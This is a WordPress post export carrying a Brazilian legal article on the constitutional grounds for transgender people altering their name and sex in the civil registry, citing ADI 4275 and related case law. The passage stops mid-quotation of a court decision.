{"id":335,"date":"2019-02-19T10:24:35","date_gmt":"2019-02-19T13:24:35","guid":{"rendered":"http:\/\/www.anoregmt.org.br\/novo\/artigo-bases-constitucionais-da-alteracao-do-registro-civil-do-individuo-transexual-a-desburocratizacao-do-acesso-a-direitos-fundamentais\/"},"modified":"2019-02-19T10:24:35","modified_gmt":"2019-02-19T13:24:35","slug":"artigo-bases-constitucionais-da-alteracao-do-registro-civil-do-individuo-transexual-a-desburocratizacao-do-acesso-a-direitos-fundamentais","status":"publish","type":"post","link":"https:\/\/www.anoregmt.org.br\/novo\/artigo-bases-constitucionais-da-alteracao-do-registro-civil-do-individuo-transexual-a-desburocratizacao-do-acesso-a-direitos-fundamentais\/","title":{"rendered":"Artigo: Bases constitucionais da altera\u00e7\u00e3o do registro civil do indiv\u00edduo transexual: a desburocratiza\u00e7\u00e3o do acesso \u00e0 direitos fundamentais"},"content":{"rendered":"<blockquote>\n<div dir=\"ltr\">\n<blockquote>\n<div style=\"font-family: Calibri, Helvetica, sans-serif; font-size: 10pt;\">\n<h2 style=\"text-align:center\"><span style=\"font-family:times new roman,serif; font-size:12pt\">por<\/span><span style=\"font-family:times new roman,serif; font-size:12pt\">&nbsp;Francine&nbsp;<\/span><span style=\"font-family:times new roman,serif; font-size:12pt\">OLIVEIRA QUEVEDO<\/span><a href=\"https:\/\/mail.google.com\/mail\/u\/0\/#m_-1631270823598651421_m_-8803796846431169561__ftn1\" style=\"color: rgb(17, 85, 204);\" title=\"\"><span style=\"font-family:times new roman,serif; font-size:10pt\">[1]<\/span><\/a><\/h2>\n<p style=\"text-align:justify\">&nbsp;<\/p>\n<div style=\"border: 1pt solid windowtext; padding: 1pt 4pt; margin-left: 35.45pt; margin-right: 0cm;\">\n<p style=\"text-align:justify\"><strong><span style=\"font-family:times new roman,serif; font-size:9pt\">Sumario<\/span><\/strong><span style=\"font-family:times new roman,serif; font-size:9pt\">: 1. Introdu&ccedil;&atilde;o. 2. O Neoconstitucionalismo e constitucionaliza&ccedil;&atilde;o do direito. 3. O desenvolvimento do Estado Democr&aacute;tico de Direito. 4. O panorama de defesa da pessoa&nbsp;<em>trans<\/em>. 5. A altera&ccedil;&atilde;o do Registro Civil por Pessoas Transexuais. 5.1. A desburocratiza&ccedil;&atilde;o do procedimento e a concretiza&ccedil;&atilde;o da dignidade humana. 5.2. O Provimento 16\/2018 da Corregedoria Geral de Justi&ccedil;a do Estado de SP e o Provimento 73\/2018 do Conselho Nacional de Justi&ccedil;a. 6.Conclus&atilde;o<\/span><\/p>\n<\/div>\n<p>&nbsp;<\/p>\n<h3 style=\"text-align:justify\"><span style=\"color:windowtext; font-family:times new roman,serif; font-size:10.5pt\">1.<\/span><span style=\"color:windowtext; font-family:times new roman,serif; font-size:10.5pt\">&nbsp;<\/span><span style=\"color:windowtext; font-family:times new roman,serif; font-size:10.5pt\">Introdu&ccedil;&atilde;o<\/span><\/h3>\n<p style=\"text-align:justify\"><span style=\"font-family:times new roman,serif; font-size:10.5pt\">O presente artigo tem como objetivo investigar os fundamentos constitucionais que embasam a altera&ccedil;&atilde;o do registro civil por pessoas transexuais. Assume-se como quadro de discuss&atilde;o a recente decis&atilde;o do Superior Tribunal Federal no julgamento do caso de A&ccedil;&atilde;o Direta de Inconstitucionalidade (ADI) n&ordm; 4275, cuja sess&atilde;o do dia 01 de mar&ccedil;o de 2018 encerrou a controv&eacute;rsia acerca da altera&ccedil;&atilde;o de prenome por averba&ccedil;&atilde;o no registro civil da pessoa, independente da realiza&ccedil;&atilde;o de cirurgia ou ainda autoriza&ccedil;&atilde;o judicial.<\/span><\/p>\n<p style=\"text-align:justify\"><span style=\"font-family:times new roman,serif; font-size:10.5pt\">Com essa a&ccedil;&atilde;o do Poder Judici&aacute;rio brasileiro torna-se poss&iacute;vel investigar o encaminhamento do ordenamento jur&iacute;dico para a prote&ccedil;&atilde;o da pessoa em sua integridade f&iacute;sica e ps&iacute;quica, ao qual se inclui os grupos historicamente exclu&iacute;dos de reconhecimento jur&iacute;dico: os transexuais. A fim de compreender esse panorama, analisa-se o processo de constitucionaliza&ccedil;&atilde;o do direito no Brasil, ao qual se entende a forte preemin&ecirc;ncia dos princ&iacute;pios constitucionais na esfera das rela&ccedil;&otilde;es privadas &ndash; ao qual se salienta a dignidade humana &ndash;&nbsp;&nbsp;e a primazia da Constitui&ccedil;&atilde;o Federal, com sua for&ccedil;a normativa a influir no comportamento das institui&ccedil;&otilde;es.<\/span><\/p>\n<p style=\"text-align:justify\"><span style=\"font-family:times new roman,serif; font-size:10.5pt\">Nesse mesmo interim, investiga-se o Estado Democr&aacute;tico de Direito e a premissa de que a realiza&ccedil;&atilde;o da democracia demanda a despatologiza&ccedil;&atilde;o da transexualidade e o respeito a diversidade de g&ecirc;nero &ndash; trata-se aqui do respeito a diversidade pelo Estado brasileiro. Ao destacar o peso da legisla&ccedil;&atilde;o ordin&aacute;ria como no caso do C&oacute;digo Civil e a enuncia&ccedil;&atilde;o do Princ&iacute;pio da Imutabilidade do Nome (art. 1.6004 Lei n&ordm; 10.406\/2002), investiga-se at&eacute; que ponto o Superior Tribunal Federal pode exercer o papel de protetor dos direitos humanos, e nos casos de anacronismo das leis com as din&acirc;micas e intera&ccedil;&otilde;es sociais, promover o correto ajuste entre prote&ccedil;&atilde;o legal-constitucional e seguran&ccedil;a jur&iacute;dica.<\/span><\/p>\n<p style=\"text-align:justify\"><span style=\"font-family:times new roman,serif; font-size:10.5pt\">Assim, focaliza-se a an&aacute;lise da altera&ccedil;&atilde;o do nome no registro civil em contraponto com as figura&ccedil;&otilde;es da cirurgia de transgenitaliza&ccedil;&atilde;o &ndash; enquanto se estuda a possibilidade desse mecanismo representar uma limita&ccedil;&atilde;o a autodetermina&ccedil;&atilde;o da pessoa trans, visto que, com o crit&eacute;rio da cirurgia, a identidade de g&ecirc;nero permanece adstrita a uma experi&ecirc;ncia de elevadas implica&ccedil;&otilde;es, que est&atilde;o al&eacute;m do reconhecimento da identidade pessoal.<\/span><\/p>\n<p style=\"text-align:justify\"><span style=\"font-family:times new roman,serif; font-size:10.5pt\">Discute-se a desburocratiza&ccedil;&atilde;o do procedimento de altera&ccedil;&atilde;o, ao qual se d&aacute; destaque ao papel dos cart&oacute;rios extrajudiciais em promover os direitos de personalidade &ndash; direitos estes fundamentais &ndash; da pessoa transexual. Aqui tem-se a an&aacute;lise da Lei de Registros P&uacute;blicos, Lei n&ordm; 6.015 de 1973 ao qual em seu art. 13 enuncia que os atos de registro podem ser praticado mediante (I) ordem judicial, (II) requerimento verbal ou escrito dos interessados ou (III) a requerimento do Minist&eacute;rio P&uacute;blico quando a lei autorizar &ndash; procura-se compreender como seria poss&iacute;vel incluir a altera&ccedil;&atilde;o do nome pela pessoa trans na segunda hip&oacute;tese e com isso, possibilitar a altera&ccedil;&atilde;o do nome sem que o indiv&iacute;duo precise mobilizar o Poder Judici&aacute;rio.<\/span><\/p>\n<p style=\"text-align:justify\"><span style=\"font-family:times new roman,serif; font-size:10.5pt\">Nesse sentido, focaliza-se a import&acirc;ncia dos Cart&oacute;rios de Registro Civil em exteriorizarem as diretrizes te&oacute;ricas constitucionais de igualdade de direitos, respeito a diversidade e prote&ccedil;&atilde;o da dignidade humana.<\/span><\/p>\n<p style=\"text-align:justify\"><span style=\"font-family:times new roman,serif; font-size:10.5pt\">Realiza-se o paralelo da a&ccedil;&atilde;o de desburocratiza&ccedil;&atilde;o com o movimento constitucional ao qual a ci&ecirc;ncia jur&iacute;dica encontra-se imersa ap&oacute;s o s&eacute;culo XX &ndash; denominado enquanto Neoconstitucionalismo &ndash; e os sentidos de um p&oacute;s-positivismo no direito, do qual tem-se a movimenta&ccedil;&atilde;o da pr&aacute;tica jurisdicional na considera&ccedil;&atilde;o n&atilde;o apenas da regra da lei, mas dos princ&iacute;pios do direito a fim de promover a melhor solu&ccedil;&atilde;o &ndash; a que mais coadune com a defesa da pessoa humana &ndash; para o caso concreto.<\/span><\/p>\n<p style=\"text-align:justify\"><span style=\"font-family:times new roman,serif; font-size:10.5pt\">Nesse sentido, se por um lado tem-se a Lei de Registros P&uacute;blicos que disp&otilde;e um rol limitativo de hip&oacute;teses de altera&ccedil;&atilde;o do nome no registro civil &ndash; ao qual n&atilde;o encontra a altera&ccedil;&atilde;o para a pessoa transexual; e, por outro lado, tem-se a possibilidade de expandir a interpreta&ccedil;&atilde;o da lei para realizar a dignidade da pessoa humana. Tal abertura, ao que se defende no presente artigo, coaduna com a realiza&ccedil;&atilde;o das premissas constitucionais pelas institui&ccedil;&otilde;es do Poder P&uacute;blico, bem como, encontra aparo no p&oacute;s-positivismo e no Neoconstitucionalismo, em que a Constitui&ccedil;&atilde;o Federal eleva a for&ccedil;a normativa de seus princ&iacute;pios para os casos que se desdobram na realidade jur&iacute;dico-social do pa&iacute;s.<\/span><\/p>\n<h3 style=\"text-align:justify\"><span style=\"color:windowtext; font-family:times new roman,serif; font-size:10.5pt\">2.<\/span><span style=\"color:windowtext; font-family:times new roman,serif; font-size:10.5pt\">&nbsp;<\/span><span style=\"color:windowtext; font-family:times new roman,serif; font-size:10.5pt\">O Neoconstitucionalismo e constitucionaliza&ccedil;&atilde;o do direito<\/span><\/h3>\n<p style=\"text-align:justify\"><span style=\"font-family:times new roman,serif; font-size:10.5pt\">A defesa dos direitos das pessoas transexuais pode ser compreendida no quadro da constitucionaliza&ccedil;&atilde;o do direito no Brasil, ou seja, no panorama de influ&ecirc;ncia das premissas contidas na Carta Magna para as mat&eacute;rias especificas do direito presentes no ordenamento p&aacute;trio, isto porque, o acesso ao nome &eacute; parte do arcabou&ccedil;o de direitos da personalidade, al&eacute;m disso, coaduna coma&nbsp;&nbsp;esfera de exerc&iacute;cio da cidadania. Os obst&aacute;culos de acesso a identidade pelo cidad&atilde;o podem resultar em ofensas a sua sa&uacute;de psicol&oacute;gica e f&iacute;sica bem como, como se ver&aacute;, resultar em constrangimentos e exclus&atilde;o social.&nbsp;<\/span><\/p>\n<p style=\"text-align:justify\"><span style=\"font-family:times new roman,serif; font-size:10.5pt\">Salienta-se que, ap&oacute;s a Segunda Guerra Mundial (1939-1945) o mundo como um todo vivencia um novo paradigma ante a constata&ccedil;&atilde;o das viola&ccedil;&otilde;es dos direitos mais b&aacute;sicos da pessoa por Estados considerados legais &ndash; a saber, os Estados nazistas e fascistas da Alemanha e da It&aacute;lia. Como um todo tem-se a figura&ccedil;&atilde;o de ditaduras que arguem o argumento da efici&ecirc;ncia estatal para ignorarem as premissas constitucionais; e, com isso, conduzem a humanidade a um panorama de trag&eacute;dias. Ante esse cen&aacute;rio, a comunidade jur&iacute;dica reestrutura a consci&ecirc;ncia em prol dos sistemas constitucionais a fim de que o cen&aacute;rio de instrumentaliza&ccedil;&atilde;o da pessoa n&atilde;o se repita. Busca-se a garantia do respeito &agrave; dignidade humana e aos princ&iacute;pios que embasam a conviv&ecirc;ncia pac&iacute;fica e plural<\/span><a href=\"https:\/\/mail.google.com\/mail\/u\/0\/#m_-1631270823598651421_m_-8803796846431169561__ftn2\" style=\"color: rgb(17, 85, 204);\" title=\"\"><span style=\"font-family:times new roman,serif; font-size:10.5pt\">[2]<\/span><\/a><span style=\"font-family:times new roman,serif; font-size:10.5pt\">.<\/span><\/p>\n<p style=\"text-align:justify\"><span style=\"font-family:times new roman,serif; font-size:10.5pt\">A base do Neoconstitucionalismo, esse novo movimento constitucional que preza pela instrumentaliza&ccedil;&atilde;o dos &oacute;rg&atilde;os p&uacute;blicos para realizarem a finalidade de defesa dos direitos fundamentais da pessoa, encontra-se no desenvolvimento de (i) uma teoria constitucional que seja totalizante, abarcando todo o cen&aacute;rio jur&iacute;dico-social e institucional; (ii) a n&atilde;o subordina&ccedil;&atilde;o do Poder Judici&aacute;rio as op&ccedil;&otilde;es dispostas pela Legisla&ccedil;&atilde;o, ou seja, a possibilidade de que o Judici&aacute;rio realize decis&otilde;es que abranjam as situa&ccedil;&otilde;es de defesa da pessoa dispostas na Constitui&ccedil;&atilde;o &ndash; ao qual o caso da ADI n&ordm; 4275 torna-se um exemplo; (iii) a utiliza&ccedil;&atilde;o de instrumentos para as finalidades constitucionais tais como os princ&iacute;pios, os valores, a pondera&ccedil;&atilde;o e a aplica&ccedil;&atilde;o dos direitos fundamentais<\/span><a href=\"https:\/\/mail.google.com\/mail\/u\/0\/#m_-1631270823598651421_m_-8803796846431169561__ftn3\" style=\"color: rgb(17, 85, 204);\" title=\"\"><span style=\"font-family:times new roman,serif; font-size:10.5pt\">[3]<\/span><\/a><span style=\"font-family:times new roman,serif; font-size:10.5pt\">.<\/span><\/p>\n<p style=\"text-align:justify\"><span style=\"font-family:times new roman,serif; font-size:10.5pt\">Nesse vi&eacute;s, tem-se o substrato constitucional para guiar as a&ccedil;&otilde;es do Estado. Trata-se ainda da vincula&ccedil;&atilde;o ao cumprimento das premissas constitucionais por todos os Poderes do Estado e um esfor&ccedil;o conjunto da comunidade pol&iacute;tica, jur&iacute;dica e social em afastar situa&ccedil;&otilde;es de viol&ecirc;ncia contra a pessoa, ocorr&ecirc;ncias que impe&ccedil;am o acesso aos direitos inerentes a toda gente; e promover a&ccedil;&otilde;es, no escopo de suas compet&ecirc;ncias, para a realiza&ccedil;&atilde;o dos ideais constitucionais.<\/span><\/p>\n<h3 style=\"text-align:justify\"><span style=\"color:windowtext; font-family:times new roman,serif; font-size:10.5pt\">3. O desenvolvimento do Estado Democr&aacute;tico de Direito<\/span><\/h3>\n<p style=\"text-align:justify\"><span style=\"font-family:times new roman,serif; font-size:10.5pt\">Assevera-se que o Estado nasce a partir de uma disposi&ccedil;&atilde;o da comunidade civil em lhe ofertar legitimidade, dando-lhe a sua vontade a fim de produzir um &ldquo;corpo coletivo&rdquo;, isso, com a finalidade de que esse &oacute;rg&atilde;o soberano promova a prote&ccedil;&atilde;o dos bens jur&iacute;dicos mais essenciais &agrave; comunidade &ndash; qual seja, a seguran&ccedil;a, a vida e a integridade da pessoa<\/span><a href=\"https:\/\/mail.google.com\/mail\/u\/0\/#m_-1631270823598651421_m_-8803796846431169561__ftn4\" style=\"color: rgb(17, 85, 204);\" title=\"\"><span style=\"font-family:times new roman,serif; font-size:10.5pt\">[4]<\/span><\/a><span style=\"font-family:times new roman,serif; font-size:10.5pt\">.<\/span><\/p>\n<p style=\"text-align:justify\"><span style=\"font-family:times new roman,serif; font-size:10.5pt\">O Estado Democr&aacute;tico de Direito passa a estar caracterizado pela indispensabilidade dos sistemas que verifiquem a vontade da popula&ccedil;&atilde;o; um organismo que fomente a Constitui&ccedil;&atilde;o, respeitando a sua materialidade, legitimidade, rigidez e conformidade com a vontade popular; a determina&ccedil;&atilde;o de uma Constitui&ccedil;&atilde;o que respeite as regras mais essenciais da vida em comunidade, principalmente o respeito a pluralidade. Al&eacute;m disso, &eacute; determinante ao Estado Democr&aacute;tico que estruture um sistema de prote&ccedil;&atilde;o dos direitos humanos, desenvolva o quadro da justi&ccedil;a social e promova os instrumentos de igualdade formal e material, al&eacute;m de deter &oacute;rg&atilde;os judiciais que atuem conforme os princ&iacute;pios de liberdade e independ&ecirc;ncia<\/span><a href=\"https:\/\/mail.google.com\/mail\/u\/0\/#m_-1631270823598651421_m_-8803796846431169561__ftn5\" style=\"color: rgb(17, 85, 204);\" title=\"\"><span style=\"font-family:times new roman,serif; font-size:10.5pt\">[5]<\/span><\/a><span style=\"font-family:times new roman,serif; font-size:10.5pt\">.<\/span><\/p>\n<p style=\"text-align:justify\"><span style=\"font-family:times new roman,serif; font-size:10.5pt\">Assim, tem-se os Poderes do Executivo, do Legislativo e do Judici&aacute;rio vinculados a realiza&ccedil;&atilde;o das premissas constitucionais em todas as suas pr&aacute;ticas, ainda que devam obedi&ecirc;ncia aos princ&iacute;pios pr&oacute;prios da Administra&ccedil;&atilde;o P&uacute;blica como a legalidade, a seguran&ccedil;a jur&iacute;dica e a separa&ccedil;&atilde;o de poderes. Abaixo esclarece-se o compromisso institucional dos Poderes do Estado Democr&aacute;tico de Direito para com a realiza&ccedil;&atilde;o dos direitos fundamentais:&nbsp;<\/span><em><span style=\"font-family:times new roman,serif; font-size:10.5pt\">Para o jurista portugu&ecirc;s Canotilho, a ordem constitucional dos Direitos Fundamentais est&aacute; necessariamente ligada ao princ&iacute;pio democr&aacute;tico que a informa, isto &eacute;, &agrave; concep&ccedil;&atilde;o constitucional do Estado de direito democr&aacute;tico. Sua contribui&ccedil;&atilde;o apta a ser transplantada para a efetividade dos Direitos Fundamentais no Brasil se traduz pelos modos de garantia e preserva&ccedil;&atilde;o da pr&oacute;pria Constitui&ccedil;&atilde;o. Por ser o princ&iacute;pio democr&aacute;tico um princ&iacute;pio jur&iacute;dico &#8211; normativo, ele aponta para a democracia como forma de vida, de racionaliza&ccedil;&atilde;o do processo pol&iacute;tico e de legitima&ccedil;&atilde;o do poder. A efetiva&ccedil;&atilde;o ent&atilde;o dos Direitos Fundamentais se d&aacute; estabelecendo &ndash; se opera&ccedil;&otilde;es de concord&acirc;ncia pr&aacute;tica entre eles mediante rela&ccedil;&otilde;es de complementaridade, de condicionamento e conjuga&ccedil;&atilde;o das normas com o aperfei&ccedil;oamento dos mecanismos da democracia. J&aacute; para o jurista alem&atilde;o Alexy, o Estado ideal &eacute; da combina&ccedil;&atilde;o entre liberdade e prote&ccedil;&atilde;o social. A justi&ccedil;a pode fazer isso por interm&eacute;dio da teoria da pondera&ccedil;&atilde;o. Se o parlamento n&atilde;o &eacute; capaz de proteger os Direitos Fundamentais, o Judici&aacute;rio deve faz&ecirc;-lo. E, para que o Judici&aacute;rio possa faz&ecirc;-lo, Alexy busca desenvolver uma argumenta&ccedil;&atilde;o jur&iacute;dica racional de pondera&ccedil;&atilde;o, visando evitar &ldquo;intuicionismo&rdquo; para decidir mediante a sugest&atilde;o de par&acirc;metros axiol&oacute;gicos baseados em circunst&acirc;ncias que possibilitam a satisfa&ccedil;&atilde;o dos graus variados de ordem f&aacute;tica ou jur&iacute;dica. Para o alem&atilde;o podem existir regras e princ&iacute;pios de Direitos Fundamentais. Em caso de conflito de regras, resolve &#8211; se pela exce&ccedil;&atilde;o ou invalidade de uma delas. J&aacute; em caso de colis&atilde;o de princ&iacute;pios, resolve &#8211; se pelas tr&ecirc;s subm&aacute;ximas da adequa&ccedil;&atilde;o, necessidade e proporcionalidade em sentido estrito.<\/span><\/em><a href=\"https:\/\/mail.google.com\/mail\/u\/0\/#m_-1631270823598651421_m_-8803796846431169561__ftn6\" style=\"color: rgb(17, 85, 204);\" title=\"\"><span style=\"font-family:times new roman,serif; font-size:10.5pt\">[6]<\/span><\/a><\/p>\n<p style=\"text-align:justify\"><span style=\"font-family:times new roman,serif; font-size:10.5pt\">Tem-se a conex&atilde;o dos direitos fundamentais com o Estado Democr&aacute;tico de Direito, pela realiza&ccedil;&atilde;o desses direitos pelas institui&ccedil;&otilde;es do Poder P&uacute;blico, n&atilde;o apenas do Judici&aacute;rio, mas de todos os &oacute;rg&atilde;os que integram o Legislativo e o Executivo. Essa vincula&ccedil;&atilde;o constitucional do Estado Democr&aacute;tico de Direito com a carta Magna est&aacute; expressa pr&oacute;prio preambulo da Constitui&ccedil;&atilde;o Federal de 1988.<\/span><\/p>\n<p style=\"text-align:justify\"><span style=\"font-family:times new roman,serif; font-size:10.5pt\">Nesse sentido coaduna-se o quadro do Neoconstitucionalismo, da prote&ccedil;&atilde;o dos direitos fundamentais da pessoa e das a&ccedil;&otilde;es dos Poderes do Estado (o Executivo, o Legislativo e o Judici&aacute;rio). O pr&oacute;ximo cap&iacute;tulo aprofunda isso ao investigar o panorama de defesa da pessoa trans e a defesa por parte do Superior Tribunal Federal, nas demandas de sua compet&ecirc;ncia, para com os direitos fundamentais desse grupo social.&nbsp;<\/span><\/p>\n<h3 style=\"text-align:justify\"><span style=\"color:windowtext; font-family:times new roman,serif; font-size:10.5pt\">4. O panorama de defesa da pessoa&nbsp;<em>trans<\/em><\/span><\/h3>\n<p style=\"text-align:justify\"><span style=\"font-family:times new roman,serif; font-size:10.5pt\">O conceito de pessoa transexual &eacute; expresso por aquele indiv&iacute;duo que tem a inalter&aacute;vel convic&ccedil;&atilde;o de pertencer ao sexo oposto daquele que est&aacute; adstrito em seu registro de nascimento original, do qual assume rea&ccedil;&otilde;es caracter&iacute;sticas do sexo ao qual o sujeito est&aacute; identificado de modo ps&iacute;quico e social<\/span><a href=\"https:\/\/mail.google.com\/mail\/u\/0\/#m_-1631270823598651421_m_-8803796846431169561__ftn7\" style=\"color: rgb(17, 85, 204);\" title=\"\"><span style=\"font-family:times new roman,serif; font-size:10.5pt\">[7]<\/span><\/a><span style=\"font-family:times new roman,serif; font-size:10.5pt\">.<\/span><\/p>\n<p style=\"text-align:justify\"><span style=\"font-family:times new roman,serif; font-size:10.5pt\">Compreende-se que a realiza&ccedil;&atilde;o dos direitos fundamentais da pessoa transexual est&aacute; associada a adequa&ccedil;&atilde;o de seu nome no registro oficial de identidade, essa demanda mobiliza &oacute;rg&atilde;os do Estado, organiza&ccedil;&otilde;es n&atilde;o governamentais e grupos organizados. Nesse quadro encontra-se o relat&oacute;rio da ong de Direitos Humanos&nbsp;<em>Transgender Europe<\/em>(TGEU) que busca assinalar o panorama dos direitos dos indiv&iacute;duos transexuais no contexto europeu &ndash; e que serve de compara&ccedil;&atilde;o para a realidade brasileira.<\/span><\/p>\n<p style=\"text-align:justify\"><span style=\"font-family:times new roman,serif; font-size:10.5pt\">Ao focar a altera&ccedil;&atilde;o do nome e do sexo nos documentos oficiais, o TGEU destaca o reconhecimento de g&ecirc;nero a partir de procedimentos anti-burocr&aacute;ticos que prezem, sobretudo, pela acessibilidade. Identificou-se, por meio do Mapa de Direitos das Pessoas Trans, que em 41 Estados europeus &eacute; poss&iacute;vel alterar os documentos de identidade, ainda que apenas 29 pa&iacute;ses tenha um sistema consolidado de reconhecimento desses direitos. Identifica-se a exist&ecirc;ncia de 24 Estados que realizam a exig&ecirc;ncia de esteriliza&ccedil;&atilde;o do indiv&iacute;duo para que altere o seu registro civil, um total de 37 Estados exigem o diagn&oacute;stico de transtorno mental,&nbsp;&nbsp;24 a cirurgia de transgenitaliza&ccedil;&atilde;o, al&eacute;m de ressaltarem a obrigatoriedade de que o cidad&atilde;o mantenha-se solteiro, e a determina&ccedil;&atilde;o de que os que estejam casados se divorciem; e n&atilde;o permitem a menores de 18 anos essa altera&ccedil;&atilde;o<\/span><a href=\"https:\/\/mail.google.com\/mail\/u\/0\/#m_-1631270823598651421_m_-8803796846431169561__ftn8\" style=\"color: rgb(17, 85, 204);\" title=\"\"><span style=\"font-family:times new roman,serif; font-size:10.5pt\">[8]<\/span><\/a><span style=\"font-family:times new roman,serif; font-size:10.5pt\">.<\/span><\/p>\n<p style=\"text-align:justify\"><span style=\"font-family:times new roman,serif; font-size:10.5pt\">No Brasil o cen&aacute;rio de direitos da pessoa transexual est&aacute; caracterizado pela mobiliza&ccedil;&atilde;o do movimento de direitos da diversidade, ao qual se encontra o movimento LGBTQI, em busca do reconhecimento da cidadania das pessoas transexuais para que a mudan&ccedil;a de nome e sexo se d&ecirc; sem a necessidade de cirurgia.<\/span><\/p>\n<p style=\"text-align:justify\"><span style=\"font-family:times new roman,serif; font-size:10.5pt\">Nesse sentido, busca-se a concretiza&ccedil;&atilde;o dos direitos de igualdade e dignidade dispostos na Carta Magna. Tal reconhecimento de direitos det&eacute;m um hist&oacute;rico de julgamentos no Brasil, ao qual se encontra a ADPF n&ordm; 132\/ADI 4277 em que se reconhece a uni&atilde;o homoafetiva como entidade familiar<\/span><a href=\"https:\/\/mail.google.com\/mail\/u\/0\/#m_-1631270823598651421_m_-8803796846431169561__ftn9\" style=\"color: rgb(17, 85, 204);\" title=\"\"><span style=\"font-family:times new roman,serif; font-size:10.5pt\">[9]<\/span><\/a><span style=\"font-family:times new roman,serif; font-size:10.5pt\">.<\/span><\/p>\n<p style=\"text-align:justify\"><span style=\"font-family:times new roman,serif; font-size:10.5pt\">A ADI n.&ordm; 4.275, protocolada no ano de 2009, expressa o requerimento da Procuradoria Geral da Rep&uacute;blica pelo reconhecimento do direito de transexuais modificarem seu prenome e sexo ante o ordenamento jur&iacute;dico por meio de altera&ccedil;&atilde;o no registro civil, independentemente de cirurgia de transgenitaliza&ccedil;&atilde;o.<\/span><\/p>\n<p style=\"text-align:justify\"><span style=\"font-family:times new roman,serif; font-size:10.5pt\">O cen&aacute;rio de sofrimento da popula&ccedil;&atilde;o transexual est&aacute; pautado em um hist&oacute;rico de patologiza&ccedil;&atilde;o da identidade de g&ecirc;nero, do qual, somente no ano de 2018 a OMS reconheceu n&atilde;o constituir uma doen&ccedil;a mental e assim retirou o &ldquo;ismo&rdquo; presente nessa condi&ccedil;&atilde;o de identidade.<\/span><\/p>\n<p style=\"text-align:justify\"><span style=\"font-family:times new roman,serif; font-size:10.5pt\">A nova Classifica&ccedil;&atilde;o Internacional de Doen&ccedil;as (CID) publicada em 18 de junho de 2018, deixa de constar na lista de transtornos mentais, a transexualidade. Todavia, n&atilde;o representa, de fato, uma despatologiza&ccedil;&atilde;o total da transexualidade, visto que a transexualidade deixa de ser classificada em conjunto com a esquizofrenia, cleptomania e depress&atilde;o, por exemplo, mas passa a consta na lista de &ldquo;incongru&ecirc;ncia de g&ecirc;nero&rdquo;, ou seja, das condi&ccedil;&otilde;es relativas &agrave; sa&uacute;de sexual &ndash; dos quais se encontram tamb&eacute;m a ejacula&ccedil;&atilde;o precoce e a disfun&ccedil;&atilde;o er&eacute;til<\/span><a href=\"https:\/\/mail.google.com\/mail\/u\/0\/#m_-1631270823598651421_m_-8803796846431169561__ftn10\" style=\"color: rgb(17, 85, 204);\" title=\"\"><span style=\"font-family:times new roman,serif; font-size:10.5pt\">[10]<\/span><\/a><span style=\"font-family:times new roman,serif; font-size:10.5pt\">.<\/span><\/p>\n<p style=\"text-align:justify\"><span style=\"font-family:times new roman,serif; font-size:10.5pt\">O preconceito social &eacute; outra caracter&iacute;stica que permeia a vida da pessoa transexual, ao qual a n&atilde;o altera&ccedil;&atilde;o do nome no registro civil tende a aumentar as ocorr&ecirc;ncias de viol&ecirc;ncia psicol&oacute;gica, moral e f&iacute;sica contra a pessoa.<\/span><\/p>\n<p style=\"text-align:justify\"><span style=\"font-family:times new roman,serif; font-size:10.5pt\">A respeito do preconceito social contra pessoas transexuais, coloca-se:&nbsp;<\/span><em><span style=\"font-family:times new roman,serif; font-size:10.5pt\">A viol&ecirc;ncia a qual est&atilde;o sujeitas, seja psicol&oacute;gica ou f&iacute;sica, &eacute; tida como naturalizada no imagin&aacute;rio social, formulada por significa&ccedil;&otilde;es do que &eacute; ser&nbsp;travesti&nbsp;e transexual engendradas e generalizadas sobre o preconceito e discrimina&ccedil;&atilde;o no universo desta categoria (5-6). Conforma-se esta afirma&ccedil;&atilde;o atrav&eacute;s dos dados sobre a viol&ecirc;ncia que este p&uacute;blico enfrenta no Brasil, sendo declarado em uma investiga&ccedil;&atilde;o (7), da qual 10% dos sujeitos entrevistados sentem &oacute;dio e avers&atilde;o por pessoas trans, sendo maior a parcela confessada por homens. Quando se considera apenas a antipatia pelo p&uacute;blico, os n&uacute;meros elevam-se para 46%. An&aacute;loga a uma rota de fuga pela sobreviv&ecirc;ncia, as pessoas com identidades transg&ecirc;nero s&atilde;o &ldquo;n&atilde;o vis&iacute;veis&rdquo; na experi&ecirc;ncia e viv&ecirc;ncia societ&aacute;ria, escapando &agrave; norma social e sendo, portanto, renegadas a uma subsist&ecirc;ncia oculta e vitimadas pelo preconceito imposto pela normatiza&ccedil;&atilde;o social. Ou seja, apesar das conquistas e garantias constitucionais e outros direitos obtidos pela popula&ccedil;&atilde;o de LGBT, o Brasil se mostra como um dos pa&iacute;ses com forte intoler&acirc;ncia contra esse segmento. A diversidade tipol&oacute;gica da intoler&acirc;ncia e da viol&ecirc;ncia variam de forma crescente, desde o ass&eacute;dio moral, a discrimina&ccedil;&atilde;o at&eacute; a morte<\/span><\/em><span style=\"font-family:times new roman,serif; font-size:10.5pt\">.<\/span><a href=\"https:\/\/mail.google.com\/mail\/u\/0\/#m_-1631270823598651421_m_-8803796846431169561__ftn11\" style=\"color: rgb(17, 85, 204);\" title=\"\"><span style=\"font-family:times new roman,serif; font-size:10.5pt\">[11]<\/span><\/a><\/p>\n<p style=\"text-align:justify\"><span style=\"font-family:times new roman,serif; font-size:10.5pt\">Assim, a jurisprud&ecirc;ncia abaixo demonstra o caso de uma mulher transexual, que buscou, em 2007, perante o Tribunal de Justi&ccedil;a do Estado de S&atilde;o Paulo, a altera&ccedil;&atilde;o de seu prenome e sexo no registro civil. Em 1&ordm; grau ocorreu o deferimento do pedido da autora, todavia o Minist&eacute;rio P&uacute;blico entrou com uma apela&ccedil;&atilde;o requerendo o indeferimento da pretens&atilde;o autoral pela justifica da imutabilidade do nome e de que o pedido da cidad&atilde; transexual n&atilde;o estaria balizada pela lei de Registro Civil, visto n&atilde;o entrar nas hip&oacute;teses do art. 58 da Lei n&ordm; 6.015\/73. A apela&ccedil;&atilde;o foi aceita, o que conduziu a autora a entrar com recurso ante o Superior Tribunal de Justi&ccedil;a.<\/span><\/p>\n<p style=\"text-align:justify\"><em><span style=\"font-family:times new roman,serif; font-size:10.5pt\">In verbis<\/span><\/em><span style=\"font-family:times new roman,serif; font-size:10.5pt\">, a decis&atilde;o do Superior Tribunal de Justi&ccedil;a:&nbsp;<\/span><em><span style=\"font-family:times new roman,serif; font-size:10.5pt\">Deve, pois, ser facilitada a altera&ccedil;&atilde;o do estado sexual, de quem j&aacute; enfrentou tantas dificuldades ao longo da vida, vencendo-se a barreira do preconceito e da intoler&acirc;ncia. O Direito n&atilde;o pode fechar os olhos para a realidade social 